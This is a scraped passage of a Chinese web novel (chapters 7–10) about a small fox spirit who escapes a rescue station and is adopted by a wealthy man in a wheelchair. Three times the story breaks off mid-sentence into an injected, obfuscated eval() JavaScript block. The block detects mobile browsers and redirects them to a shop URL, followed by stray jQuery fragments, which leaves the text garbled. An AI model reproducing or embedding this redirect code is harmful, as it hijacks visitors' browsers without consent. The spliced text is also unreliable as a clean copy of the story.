打开院子里的监控录像,小狐狸怎么挖的洞怎么进来,寻找他失败后又在他家门口挠门还把自己吓到的一幕幕看得谢砚忍俊不禁,连身上的倦意都消去了不少。
笑完后,谢砚回过神来,救助站离他家可不近,小狐狸到底是怎么从救助站里逃出来又是如何经过重重磨难连夜跑回他家的?
小小的身体里居然隐藏着如此大的能量。
可为什么小狐狸会认准了他家,难道是因为早上给它喂了肉?
指尖隔着屏幕轻点了一下蜷缩在门口睡得毫无防备的小毛球,谢砚难得有些头疼。
如今已经是深秋,晚上气温低,如果任由这只营养不良的小狐狸在门口睡一晚上,怕是很难看到明天的太阳。
注视了许久肚皮微微起伏的小狐狸,谢砚似乎是终于下定了决心,将轮椅驶向衣帽间。
半小时后,穿戴整齐的谢砚出现在一楼大厅里,正在聊天的谢家夫妻有些诧异。
江照月还是第一次见到自家儿子洗完澡还出门,“砚砚,都快十点了,怎么还要回公司加班?”
她下一秒又想起什么,拍拍旁边的空位,“加什么班,快来,我和你爸物色了不少和你相亲的人选,来看看喜欢哪个少爷小姐,妈妈去联系他们的家长。”
谢见川也赞成地点点头,“大晚上的,还回公司加什么班,工作是做不完的。来和我们说说你喜欢什么类型的……”
他顿了一下,目光在谢砚毫无表情对爱情不屑一顾的俊脸上停顿,认命顺着妻子的话说下去,“……喜欢什么类型的男孩女孩。”
谢砚继承了夫妻俩的优秀基因,从小长得好看,从幼儿园开始就是园草,初高中的时候他们还怕谢砚早恋,还准备了不少早恋有害的说辞准备劝儿子。
却没想到谢砚长着那么一张脸居然单身到大学毕业,大学毕业后接手了公司更是一头扎在工作里,至今都没有恋爱。
他们的心态也从一开始的担心儿子早恋变成了担心儿子孤独终老,别说找男的了,只要是个人他们夫妻俩都能接受!
毕竟他俩又不是什么八九十岁的老古董,没有传宗接代那种封建想法。
但谢砚不能孤独终老。
于是在谢砚28岁生日过了后,江照月像是觉醒了某种属性疯狂给谢砚张罗相亲,虽然连一次见面都没有成功,但这并不影响她的热情。
至于谢见川,他虽然也觉得这事还早谢砚还年轻,但是根本不敢反驳老婆的意见。
谢砚苦不堪言,每次都用公司要加班敷衍过去,今晚好不容易才答应回谢宅过夜,屁股都还没有焐热呢就要回去,江照月哪里肯答应。
准备过去和父母说几句话的谢砚果断停下轮椅,“不是,家里来了个小客人,我回去看看。”
不等父母回话,谢砚迅速控制轮椅离开,生怕慢一秒就会被母亲追上来控住轮椅让他走。
坐着轮椅的身影消失在门后,夫妻俩面面相觑,江照月慢慢皱起眉:“小客人……是什么意思?”
谢见川挠挠头,沉思了一会,眼里升起几分期冀:“难道是儿子谈恋爱了?”
江照月和谢砚极为相似的眼睛亮起来,“肯定是,诶呦,小客人,这么甜的称呼,就算没有恋爱也在暧昧期了。我就说求的那个符好使吧!”
说完还在丈夫腿上猛拍了几下,谢见川痛得龇牙咧嘴,“那符好像还没有送出去吧。”
“……”江照月用力又拍了几下,“那不重要!”
“……”
-
彼时的小狐狸小小地睡了一觉,精神好了很多。
他起来抖抖毛,又伸了个舒舒服服的懒腰,下意识想舔舔爪子,可看到刚刚挖过土黑漆漆的jio底一僵,淡定地收回舌头。
他是一只讲卫生的好狐狸。
小狐狸抬头看了眼依旧黑漆漆的花园,后知后觉想起现在房子的主人不在,正是报复的好时机!
为什么他刚才要等人回来呢?!
该怎么报复好呢?不能伤到人类,又不能做小偷小摸的事情,还要让人类不开心。
这可真是个大难题啊。
然而他狐大王是不会被这点小挫折打倒的!
小狐狸兴奋地绕着屋子走了一圈,看到围墙根下被自己挖开的洞,眼睛一下就亮了。
他们狐狸可擅长挖洞了!
回想起刚才挖洞的快乐,小狐狸不再犹豫,挑了一楼靠近后花园最大的落地窗旁边的墙根,后退几步,猛地一蹦,头朝下爪子准确找到土最松软的地方,开挖!
车辆在夜色中缓缓驶入小区,坐在驾驶座上的李叔还有些不相信,“救助站离这里十多公里,那只小狐狸真的就这么跑回来了?”
谢砚想起监控里小狐狸努力挠门的可爱模样,眼里闪过几分笑意,“嗯,是它。”
明明世界上的白狐那么多,可他一眼就认出来那只是来他家碰瓷的狐狸。
李叔忍不住调侃:“都说狐狸有灵性,说不定小狐狸是把少爷当恩人了,特地从救助站逃出来报恩的呢。”
李叔不知道自己随口一句就把小狐狸的目的猜中了大半,只不过不是报恩,是报仇。
短短十来分钟,小狐狸就在墙根下挖好了两个洞,他抖抖有些发酸的爪子,准备挖第三个洞,完
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370598|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全没有注意到汽车靠近的引擎声。
车经过大门的时候,没有看到那道白色的小毛团,谢砚心一沉,还以为小狐狸等不下去自己离开了,有些连他自己都没有发现的低落。
直到随着车子驶入车库时看到那道在墙根下埋头苦挖的小身影,笼着一层乌云的心情才多云转晴。
小狐狸还在。
小狐狸似乎是没有发现他们,头埋在洞里,只漏了个屁股和蓬松的大尾巴在外面,寂静的院子里狐狸爪子刨泥的声音格外清晰,尾巴尖尖一抖一抖,可见小狐狸挖的有多开心。
“诶呀!才填好的洞怎么又被挖了。”李叔满脸愁容,他数了数,发现这小狐狸不仅把白天才填上去的洞重新挖了,还多挖了三个大洞,连原本埋在泥土下的砖块都露了出来。
这到底是狐狸还是土拔鼠啊?
李叔的声音终于惊醒了沉迷挖洞无法自拔的小狐狸,洞外左右晃动的尾巴尖尖一僵,谢砚居然看出了几分尴尬。
头埋在洞里的小狐狸慢慢停下挖洞的动作,有些懊恼地耷拉耳朵,他的警惕性什么时候这么低了,居然两脚兽到了身后才发现!
果然修为尽失就是不行!
小狐狸将一切错都归结于完全没有了的修为,丝毫不觉得自己有什么错。
他舔舔鼻子掩饰尴尬,慢吞吞地倒车,将半截身子从洞里倒出来,又慢吞吞地转过身,看到坐在轮椅上的臭男人和白天给他喂吃的老大爷。
挖洞结果被房子的主人抓了个正着。
这就很尴尬了。
但下一秒小狐狸又理直气壮地挺起小胸膛,他就是在报复,被抓个正着又怎么啦!
他就是要让臭男人不开心!
这么想着,云容又挑衅般地挠了几下洞,蓬松的尾巴尖放在爪子上,仰起小下巴看谢砚,浑身的肌肉绷紧,只要谢砚一发怒他就逃走!
可云容不知道自己半幼态的模样憨态可掬,这副眯眼挑衅的小模样在毛绒控的谢砚眼里也是可爱得要命的,完全没有什么威胁力。
“只是几个洞,重新埋上就是。”坐在洞口的小狐狸微微眯起的眼睛弯弯,仰着小下巴看他的模样实在是可爱,谢砚眼底带了点笑意,又看了眼被挖开的几个洞,想了想,拿出手机在小红书上搜索——为什么狐狸会在家里挖洞?
给出的答案各式各样,谢砚垂下眼睑,滑动的手指在最合他心意的几条上停留——“家里风水好,吸引了有灵性的小动物过来。”
他看了眼似乎脖子有些累正在伸懒腰的小狐狸,心想这小家伙是真的很有灵性,不然怎么会从救助站偷跑出来还重新找到了他家。
第二条,“狐狸觉得这里很安全,是个可以住下的好地方,或者是想寻求房子主人的庇护。”
谢砚想起狐狸是一种很谨慎的动物,而这只小狐狸在他面前停留这么久,一点也不怕人,甚至还敢和自己对视。
看来这条说的也有道理。
谢砚收回手机,身后的李叔见状借机问怎么办,是否要驱赶。
“不用驱赶。”谢砚语气里带上几丝不易察觉的愉悦,“它喜欢这里,想在这里留下。”
还在耐心等待臭男人生气的云容:???
你在疯言疯语些什么?!
他毛绒绒的小脸上写满了难以置信,这人类不生气就算了,到底是怎么把他报复的行为曲解成他喜欢这里的???
现在的人类都这么离谱的吗?!
8. 第 8 章
辛辛苦苦挖了三个洞却报复失败,还被“想在这里留下”的小狐狸顿时气得什么都忘了,生气地张开嘴朝谢砚骂骂咧咧。
“你是不是有病?!怎么可以随便造谣?!你们人类怎么都这么坏!”在山里长大的小狐狸连骂人都不怎么会,来来回回都是那么几个词,再加上他半幼化的声音比成年狐狸更加软,落在人类耳中反而像是撒娇。
见面前的两个人类被它这样骂都没有生气,云容觉得自己就像是一拳头打在棉花上,更气了。
小狐狸细细软软的叫声回荡在静谧的浅月湾里,旁边公馆的狗子好奇地跑到窗边探头探脑,它还是第一次听到这么奇怪的叫声,难道这里新来猫了?!
云容骂了好一会,有些累了,悻悻然闭上被风吹得干干的嘴。
可狐狸不会就这么善罢甘休的。
他低头看看自己被泥土弄得黑漆漆的爪子,又看看臭男人身上干净整洁的衣物,歪了歪头,一个坏点子冒了出来。
谢砚见小狐狸突然不叫了,有些好奇它接下来会做什么,却没想到小狐狸歪头瞧了自己一会后,迈步走过来。
骨节分明的手下意识抓紧了轮椅的护手,谢砚屏声息气,怕把小狐狸吓跑。
小狐狸期待地舔舔鼻子,圆润的兽瞳里闪过几丝狡黠,动物界打架向来不讲理,讲的是“趁他病要他命”还有“猛踹瘸子那条好腿”,而现在臭男人显然是行动不便的。
还有比这更好的机会吗?
谢砚还没有反应过来,状似无意溜达到他脚边的小狐狸突然站起来,小爪子在胸口处蜷缩,像是站不住一样摇摇晃晃几下,直接倒在了他的腿上,刚刚换上的浅色裤子直接多了几个黑漆漆的爪印。
“少爷!你的腿怎么样?!”李叔吓了一跳,这狐狸怎么就这么准确地扑在少爷的腿上呢?!才出院几天啊,不会又要进去了吧?!
“我没事,它没有碰到伤口。”两万多的衣服瞬间报废,谢砚语气平淡,反而觉得那几个爪印有些可爱。
……刚才查到的资料上似乎提到这也是狐狸标记所有物的一种手段?
这么想着,谢砚心情莫名大好,甚至还想让小狐狸多印几个。
小狐狸抖抖耳朵,仿佛什么都不知道一样挪开了视线,虽然报复,但他并不想弄伤这个本来就受伤的人类,只是在人类的衣服上盖了几个黑漆漆的爪印。
他用了点力气,确认那几个爪印印得又深又重才松开,绝对没有那么容易洗掉!
这就是惹狐狸生气的可怕下场!
报复完毕,小狐狸心情大好,忍不住在地上打了个滚。
园丁精心打理的草坪滚起来实在是太舒服,小狐狸忍不住又滚了几下,蓬松的大尾巴抖抖。
殊不知落在两脚兽眼里又成了撒娇讨食。
谢砚盯着小狐狸尖细的小犬牙若有所思,“它是不是饿了?”走了这么多公里路,长途跋涉跑回来,也该饿了。
李叔笑了笑,“我去给它弄点生肉。”
谢砚想说换成熟肉,突然想起救助站打过来的那通电话,鬼使神差没有阻止李叔。
报复完想离开的云容动作一顿,眼睛瞬间瞪大,目光忍不住追逐李叔远去的身影。
有肉肉?那他吃完再走叭。
刚才还气呼呼骂人的小狐狸瞬间做乖巧状,双爪闭拢端坐,尾巴将自己圈住,尾巴尖尖覆在前爪上,圆溜溜的兽瞳里只有对肉肉的期待,整只狐看上去可爱又无害。
谢砚眸光微动,这只小狐狸倒是通人性。
李叔很快就去而复返,云容看到他手上的小碟子,忍不住踩了踩前爪,更加兴奋了。
也不知道是不是和他早上吃的那份肉肉一样美味。
直到那盘肉肉放在他前面,看到生牛肉上还没有弄干净的血水,上一秒还兴奋地抖动的大耳朵瞬间耷拉下来,毛茸茸的小背影透着几分生无可恋的意味,仿佛受了天大的委屈。
谢砚将这一幕看在眼里,饶有趣味挑了挑眉。
李叔还没有发现小狐狸低落下去的情绪,以为是小狐狸不敢靠近,把碟子往它前面推了推,自己后退几步,“快吃吧,这可是新鲜的和牛呢。”
只知道水牛黄牛不知道和牛的云容低头嗅了嗅,浓郁的血腥味扑面而来,他连忙后退几步把鼻子埋在尾巴里,太腥了太腥了!完全吃不了!
李叔傻眼了,这肉一送来就放进冰箱了,不应该这么快就坏了啊?听说动物还能辨别食物的好坏,难道被下面的人用便宜的肉糊弄了?
他和缓的脸色顿时一沉,记在小本子上准备找人算账,“我去换一份肉来。”
小狐狸眼中的抵触不似作假,谢砚这才信了救助人工作人员的话,“这狐狸应该是不吃生肉,换成熟肉吧。”
李叔纳闷世界上居然还有不吃生肉的狐狸,端着肉走了。
云容忍不住瞄了几眼臭男人,他是怎么看出来自己不吃生肉的?
他还是第一次遇到这么懂自己的两脚兽,虽然还在生气他喊人把自己抓走关在笼子里,但纠结了几秒后还是忍不住给谢砚加了一分。
看在肉肉的份上。
几分钟后,人还没到,浓郁的肉香就钻进了小狐狸的鼻子里。
他抬起黑色的小鼻子嗅嗅嗅,嘴筒子旁边白色的小胡须一抖一抖,仰起小脑袋追逐肉香的方向。
有点像小狗,谢砚想,但好像比他见过的小狗都要可爱。
李叔端来的还是刚才那些肉,他不信邪地把牛肉煮熟,想看看小狐狸的反应。
装着肉的碟子才放下来,小狐狸低下头嗅了嗅,火速叼起一块肉,跑到离他们远一点的地方吃。小狐狸虽然小,但吃东西的速度很快,一块肉几秒就被它吃完了,它抬起头看了他们一眼,颇有灵性地用爪子把碟子扒拉到自己前面,再背着他们埋头吃剩下的肉。
有警惕心,但不多。
云容活了几百年还是第一次吃到这么好吃的牛肉,又嫩又滑,入口即化,明明什么调味料都没有放,却带着一股奶香味,咽下去后口腔里还残留着隐约的油脂香。
好吃!太好吃了!
一份肉就让小狐狸抛却了所有的矜持,蓬松的尾巴兴奋地摆动,尾巴尖尖将旁边的花丛扫得东歪西倒。
谢砚放在腿上的手指微微抖了一下,他还记得小狐狸尾巴柔软的触感,顿时有些心痒难耐。
这小家伙这么没有警惕性,如果不是腿有伤行动不便,那他是不是可以趁小狐狸吃得入迷,偷偷摸一下尾巴了?
自从谢砚长大后,李叔很久没有享受到投喂的乐趣了,见到小狐狸快吃完了肉肚子还是瘪瘪的,他心一软,忍不住又加了一份肉。
云容忙里抽闲抬头看了他一眼,这个爷爷,是个大大的好人!
小狐狸吃得香,李叔脸上的笑容更深,他心满意足看了一会狐狸吃播,这才想起什么,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370599|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少爷,这只狐狸,还要送回救助站吗?”
云容吃肉的速度一顿,慢了下来,虽然还在吃肉,头顶的耳朵却偷偷转向他们的方向,光明正大地听两脚兽的谈话。
谢砚没有说话。
李叔叹了口气,“不吃生肉,这小狐狸大概是被人心血来潮当宠物养了一段时间然后又被遗弃的,救助站条件有限,还有很多受伤的动物要照顾,不能可能一直养着身体健康的小狐狸,如果放归回去,怕是凶多吉少。”
小狐狸身形一僵,震惊抬起头看他们,什、什么?!那个关狐狸的地方原来不是关动物,而是救助动物的吗?!
他的目光缓缓移向谢砚,男人裤子上黑漆漆的爪印格外显眼,云容看了一会,心虚扭过头,他居然误会两脚兽了!
他回忆了一会,有些庆幸自己没有做什么特别过分的事。
也不知道那几个爪印能不能洗干净……
都怪两脚兽也不说一声就把自己拎起来,还直接扔进笼子里。小狐狸果断把责任推到两脚兽身上,继续埋头吃肉。
李叔瞄了一眼谢砚渐渐沉下去的脸色,再接再厉,“要不要让人去查一下小狐狸的主人,然后把小狐狸送回去?”
“送回去,然后再被抛弃一次?”谢砚声音有些冷,“这么不负责任的主人,不要也罢。”
“也是,”李叔叹了口气,“那我联系有没有什么动物园想要狐狸,走手续送过去吧。”
他状似无意道:“这么漂亮的小狐狸,应该有不少动物园想要的。”
动物园?!!!放归?!!!
小狐狸瞬间警铃大作,嘴里的肉肉都不香了。
他哪里都不想去!!!这两个人类怎么这么喜欢替自己下决定啊?!
小狐狸咽下嘴里美味肉肉,这才想起自己昨晚溜进来的目的,他要留下来!起码这个两脚兽很有钱,不会让他饿死!
云容鼓起勇气小跑两步直接跃到谢砚的腿上,钻到他怀里拱来拱去,用自己此时最娇柔的声音嘤嘤嘤,还站起来爪子撑在谢砚的肩膀上歪头蹭他的脸,毛绒绒的大尾巴不经意扫过男人的手腕。
突如其来的撒娇让谢砚愣了一瞬,他抬头阻止了想要抱走小狐狸的李叔,手微抬,终于再次摸到了小狐狸。
小狐狸比肉眼看到的还要瘦很多,小小一团踩在身上没有什么重量,腰细细的,摸上去几乎没有肉,因为营养不良的毛发手感干燥,尾巴却蓬松又软滑,仿佛全身的营养都长到这处似的。
“你想留下来?”谢砚摸了摸小狐狸的头。
“我当然想留下来。”云容踩了踩谢砚,有些生气,“我都表现得这么明显了,你这么还看不出来啊?!”
“大笨蛋,”他矜持地仰起下巴,“我给你一个机会当我的铲屎官。”
他的话落在谢砚耳中就是嘤嘤嘤的撒娇声,虽然听不明白,但是小狐狸对他的喜爱毫不掩饰,让谢砚嘴角也忍不住勾起笑意。
“不送动物园。”谢砚目光落在瘦瘦小小的一团狐身上,又摸了一下尾巴,似乎终于下定了决心,“留下来养吧。”
难得碰到一只不怕他的小动物,还是这么可爱这么会撒娇的小狐狸。
不靠谱的前主人和彻底失去自由的动物园,都不如养在自己身边最好,如果日后小狐狸长大了回归山林,他也不会拦着它。
李叔喜笑颜开,“好,我这就去联系有关部门办理手续。”
9. 第 9 章
此时的救助站。
负责照顾小狐狸和灰狼的工作人员拖着被野猪猛猛撞了一下的身体一瘸一拐下车,看到半开的窗户吓得心跳都停了几拍。
他记得出门的时候那个窗户没有那么大的!
旁边的同事还在吐槽那窝野猪有多猛,发现他不作声了,手肘拐了他一下,“咋了?被野猪撞坏脑子了?”
“我草……!”工作人员回过神来,身残志坚快步走过去打开门,看到原本关着小狐狸的笼子里此时空荡荡的,傻眼了。
他的狐狸呢?他那么好看的一只狐狸呢?怎么就不见了?
“到底怎么了?”同事不明所以过来看热闹,看到敞开的笼子门,也傻了,“不是?那只狐狸跑了?!”
工作人员欲哭无泪,“我记得我离开前明明关上笼子门了,还特意反扣了,怎么就跑了呢?!”
同事:“你锁了没?”
工作人员摇头,“一直都是关上,不用上锁的。”
救助站里除了智商比较高的猴子和猩猩,其他动物都不用上锁,这么多年了越狱的还是头一个。
没想到那小狐狸浓眉大眼看上去纯良无害的,居然这么狡猾!
工作人员回头看见呼呼大睡的灰狼更是气不打一处来,生气地敲了敲灰狼的饭盆,“白喂你了,那么大的一个狐狸跑了也不知道嚎几下,说好的犬科动物警觉呢?”
被吵醒的灰狼无辜地打了个哈欠,这能怪它吗,狐狸是趁它睡着了才跑的。
同事检查了一下关过狐狸的笼子铁门,在上面发现了一个清晰的犬科爪印,瞪大了眼:“这狐狸真的是自己开门的!”
他也转头看向事外狼,有些纳闷:“既然这狐狸是当着灰狼的面逃走的,怎么这狼不跟着一起走?”
灰狼给了他一个白眼,它又不傻,这里有吃有喝还不用受冻,傻子才跑呢。
同事愣愣和工作人员求证,“它刚刚是不是瞪我了?”他居然被一头狼鄙视了?
灰狼重新闭眼假寐,反正它只是一头狼,一头什么都不知道的狼。
它都快饿疯了,哪里还有空留意一只狐狸,它又不是屁大点事就乱吠的狗。
工作人员搜过房间里的每一个角落,终于认命去调监控了,监控尽职地录下小狐狸是怎么自己开的笼子,怎么躲开保安溜出去的。
白色的毛团子消失在监控范围,几名工作人员面面相觑,“怎么办,出去找?”
刚刚抓完野猪的他们现在累得手都是发抖的,没想到回来还有一个大惊喜。
“不用找了。”救助站的负责人推门而入,“小狐狸跑回谢总家了,谢总说想要走流程收养它。”
负责小狐狸的工作人员松了口气,又有些高兴,“好家伙,这小狐狸是给自己找了一个大粮票啊,以后不用愁吃喝了。”
能被谢总养可是比进动物园强千百倍,没想到短短一天小狐狸就能给自己涨了这么多身价,以后就是谢氏的小少爷了。
-
把臭男人,不是,应该说是铲屎官当坐骑的小狐狸端坐在谢砚的腿上,好奇地看着这所大宅子。
上一次他进来还是昏迷状态,被抓走时又被拎着,满心只有骂人,并没有机会好好看看里面长什么样。
可这次不一样啦,他是名正言顺光明正大被宅子的主人抱进来的!
小狐狸得意地摇摇尾巴,果然,世界上没有人能拒绝一个可爱的小狐狸的要求!
夸完自己,云容才将注意力放在宅子内部,却发现并不像他想象中那样富丽堂皇,反而称得上简陋,连装饰都很少,看上去空荡荡的,还没有他以前偷偷溜进去的知府家十分之一华丽。
他第一次对橘猫的话产生怀疑,这个两脚兽真的很有钱吗?屋子里的东西少得他都想念一念陋室铭了。
小狐狸有些纠结,本能想踩踩爪子,可想起谢砚腿还伤着,还是忍住了。
这么穷了还给狐吃肉,是个大好人。
那可是两,不对,三份肉呢!
想到刚刚吃完的美味牛肉,他决定给铲屎官一个机会!其实……其实他也不是每天都要吃那么好吃的肉肉的,只要铲屎官能养活他就行!
谢砚不知道自己家的简约现代风装修在小狐狸眼里成了陋室,只觉得小家伙气宇昂昂的小模样实在是可爱,捏了捏小狐狸软乎乎的耳朵,“喜不喜欢这里?”
云容活了这么多年还是第一次有人敢碰他的耳朵,他瞪大眼,生气地用爪子把头上的手扒拉下来。
大胆!狐的耳朵是你想摸就能摸的吗?!
在动物的观念里脑袋是很脆弱的地方,轻易不会让别的动物碰到,只有很好的关系才会互相蹭蹭,而这个人类第二次见就敢趁他不注意对他的耳朵下手,可把云容气得不行。
扒拉下来还不够,小狐狸生气地在谢砚的衣服上踩了几下,虽然收好了力度,但浅色的上衣还是留下了几个明显的爪印。
小狐狸确定把自己的爪子上的泥土都蹭干净了,又歪头凝视了一会那几个爪印,这才满意地点点头,哼,让你随便摸狐狸的耳朵!
只有他能蹭铲屎官,铲屎官没有他的允许不能随便摸他。
云容,就是这么霸道的一只小狐狸。
李叔看到那几个脏脏的爪印,把想夸小狐狸乖巧的话咽了回去,“少爷,我带它去一楼找个房间安置下来吧,你去换衣服。”
谢砚摸了一把手边的尾巴尖,“不用,我隔壁房间还空着,给它睡吧。”
小狐狸的骨头软,连爪子也是软的,脚底的肉垫上更是覆着一层厚厚的绒毛,踩起来并不痛,反而像是猫咪踩奶,踩下去的那一瞬让谢砚的心无端地软下来。
自从他有记忆起就没有动物愿意近他的身,小到金鱼,大到动物园的狮子,无一闻到他的气味就跑开。
动物缘极差的谢砚还是第一次知道被小动物信任、扑到怀里撒娇的感觉是多么的美好。
小小的一团狐狸坐在他的腿上,暖意隔着一层衣服传达到身上,哪怕什么都不做也让他想要把全世界的零食都给它。
李叔被谢砚的话惊了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370600|199881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下,谢砚隔壁的房间相当于半个主卧,一直空着,他还以为是留给以后的少夫人的,没想到给进门还不到十分钟的小狐狸。
想起谢砚猫憎狗嫌的一生,再看看现在在他怀里乖乖的没有逃开的小狐狸,李叔突然明白谢砚为什么会这么做了。
小狐狸会撒娇还长得这么好看,换他他也给。
听到两人对话的云容期待地晃了晃尾巴,也不知道他的房间会是什么样的。
几分钟后,开开心心摇晃的尾巴尖瞬间停下。
这个房间很大,但是——只、有、一、张、床!
云容好不容易接受谢砚不太有钱的事实,却没想到比他想象中的还要穷!这么大的房间居然只有一张床!
他有些愁,这个人真的养得起自己吗?
谢砚搬过来才两个多月,平时只有他一人住,连江照月夫妻俩都很少过来,他又不喜奢靡,自然没有配备多少家具。
李叔找来一张厚厚的毛毯在床上铺了一个小窝,“小狐狸,今晚你先睡在这里,明天我们带你去看医生做个常规检查啊。”
面对这么可爱的小家伙,李叔连声音都不自觉放软,云容感受到他的好意,抬起头轻轻叫了一声,“谢谢哦。”
没有再麻烦谢砚,小狐狸自己跳下了地,却没有跳上床,而是用爪子轻轻勾住谢砚的裤脚。
“不喜欢?那我们换一个。”谢砚问。
剔透漂亮的蓝眼睛慢慢地眨了眨,小狐狸抬起黑漆漆的爪子在空中晃了晃,两人莫名看懂了它的意思。
嫌弃脏,想擦干净。
谢砚眉头一跳,终于确定小狐狸是故意在自己身上留下爪印了,想起小红书查到的话又有点开心,幸好他没有洁癖,否则早就当着小狐狸的面换掉被弄脏的衣服。
那小狐狸该有多伤心。
他接过李叔递来的湿毛巾,弯腰把小狐狸抱起来,仔细地给它擦毛。
谢砚还是第一次做伺候狐狸的事,动作虽然笨拙但力道轻柔,加上毛巾热乎乎的温度实在是让狐很舒服。
云容忍不住打了个小小的哈欠,主动在谢砚腿上摊开肚皮,前爪蜷缩在胸前,微微眯起的眼睛让他看上去可爱又乖巧。
云吸各种动物多年的谢砚知道这是信任的表现,开心又有些诧异,这小家伙怎么对谁都这么不设防,他们才认识多久就主动摊肚皮了。
是这个小家伙傻,还是狐狸的天性就如此?
不管怎么样,这只狐狸现在很信任自己。
这是他的狐狸。
只属于他的狐狸。
这个认知让他漆黑如墨的眼睛带了点笑意,冷淡的眉眼显出几分柔和来,比平日面无表情的模样更加俊美。
小狐狸呆了呆,刚刚才涌上去的那股子想要半夜偷偷遗弃铲屎官的想法瞬间消失殆尽,这真是他见过的最最好看的人类!虽然比他人形还要差一丢丢,但也是很好看的。
穷是一时的,但好看是一辈子的!
这么好看的铲屎官很难找,他还是先不遗弃铲屎官了。
10. 第 10 章
谢砚不知道自己差点被小狐狸遗弃了,全靠这张脸才躲过一劫。
他又观察了一会小狐狸,让李叔在房间里放了一小碗水,确定小家伙接受良好没有想逃走的行为才回房间。
紧闭的大门隔绝了铲屎官依依不舍的视线,云容忍不住摇摇尾巴,怎么好像他离不得人一样,这人是把自己当成刚刚出生的幼崽了吗?
完全没想起来此时的他看上去就是一只尾巴奇大的小狐狸崽崽。
回到房间后迎接谢砚又是满室的寂静,明明小狐狸进家门才几个小时,谢砚却觉得自己已经适应了家里有小狐狸细细的叫声,如今小狐狸不在这里,房间似乎太安静了。
他望着床上堆得满满当当的玩偶出了会神,才去洗漱上床。
谢砚的床足足有两米大,他睡的地方却不多,大部分都是留给玩偶的,玩偶的那一边床沿甚至还做了护栏,好让堆积成山的玩偶不掉下去。
接任公司后的压力不小,毛绒绒对于毛绒控而言是最好的安抚方式,不能靠近小动物的谢砚只好买了这一大堆玩偶来解压,没事就抓一个来rua一rua,有时候在家里办公都得抱一个。
他盖好被子,想了想,在玩偶山里翻出一个有半人大的狐狸玩偶,红色的绒毛鲜艳如火,歪头端坐的模样憨态可掬。
是他最喜欢的一个玩偶。
谢砚抱到怀里揉了揉,熟悉的绒毛触感和冰凉的温度却让他觉得有些索然无味。
摸过真正的小狐狸后,这一屋子的玩偶似乎都比不上那个无心无肺的小家伙了。
谢砚将狐狸玩偶放回去,关上灯,难得没有rua玩偶入睡。
-
次日清晨,生物钟准时的谢砚早上八点就醒了,他下意识想要去洗漱锻炼,下床时腿上的痛疼让他彻底清醒过来,谢砚这才后知后觉想起自己腿受伤一事。
俊美的眉眼涌现几分阴翳,他拿过床头的手机,看到了助理张雨泽发来的信息,说设计他车祸背后的人已经查出了眉目,和他的那位好大伯董长宇有牵连。
上一辈的事说起来也奇葩,居然是小说里常见的真假少爷,谢见川就是那个倒霉的真少爷,被换走后直接被扔到了孤儿院门口,成年后才被董家认回去。
回去后也没过上好日子,亲生父母和兄弟更加喜爱那个鸠占鹊巢的绿茶假少爷,谢见川也早已过了需要父母爱的年龄,并不在意董家人虚伪的嘴脸和假少爷明里暗里的使绊子争宠,而是借着董家的人脉资源独立门户,又赶上了时代的风口,硬是把一个小公司做成上市企业,连渐渐没落的董家都望尘莫及。
谢见川对董家没什么感情,却不会忘记他们是怎么对自己的,面对发迹后董家的联络讨好都置若罔闻。
而到了谢砚这辈更是把董家当做陌生人,甚至在他进入公司后抢了董家的两个重要项目,让董家又下了两层楼。
董长宇作为董家的继承人一直怀恨在心,废了不少心思才在谢见川的车上做了手脚,却没想到那天早上谢砚常坐的车送去保养了,改坐谢父的车去。
幸好谢砚年轻手脚灵活,在刹车失灵的撞上避险车道的瞬间迅速逃出来并且救出了驾驶座被卡住的司机,就在他们逃到安全距离的瞬间,那辆被动了手脚的车就爆炸了,所有证据都消失在大火中。
谢见川年轻时创业树敌不少,查起来并不容易,查了一周才有眉目。
谢砚想了想,让李助理把证据交给警方,顺便也给谢父发了一份。
一个星期还不足以让谢砚习惯这种不便的生活方式,虽然行动不便,但自尊心还是让他坚持独自完成换衣服洗澡等事,等他艰难地穿好衣服已经是十多分钟后。
累得呼吸都重了许多的男人盯着自己还打着石膏的腿许久,拿出手机给助理又发了条信息,【多找一些董家的小辫子,到时候一起举报。】
如果不是他临时换了车,现在他大概是在和母亲一起给父亲上坟。
刷牙的时候谢砚低下头,看到脏衣篮里的衣服上几根白色的动物毛发,阴沉沉的脸色好看了不少,他现在是有狐狸的人了。
主卧的门缓缓打开,电动轮椅载着穿着休闲服的男人驶出来,在隔壁的房间门停下。
李叔用毛毯铺就的漂亮小窝还是整整齐齐的,而小狐狸则把自己团成一个狐球,下巴枕着蓬松的大尾巴睡得很香,弯弯的眼缝仅仅是这么看着就让人无端有种满足感。
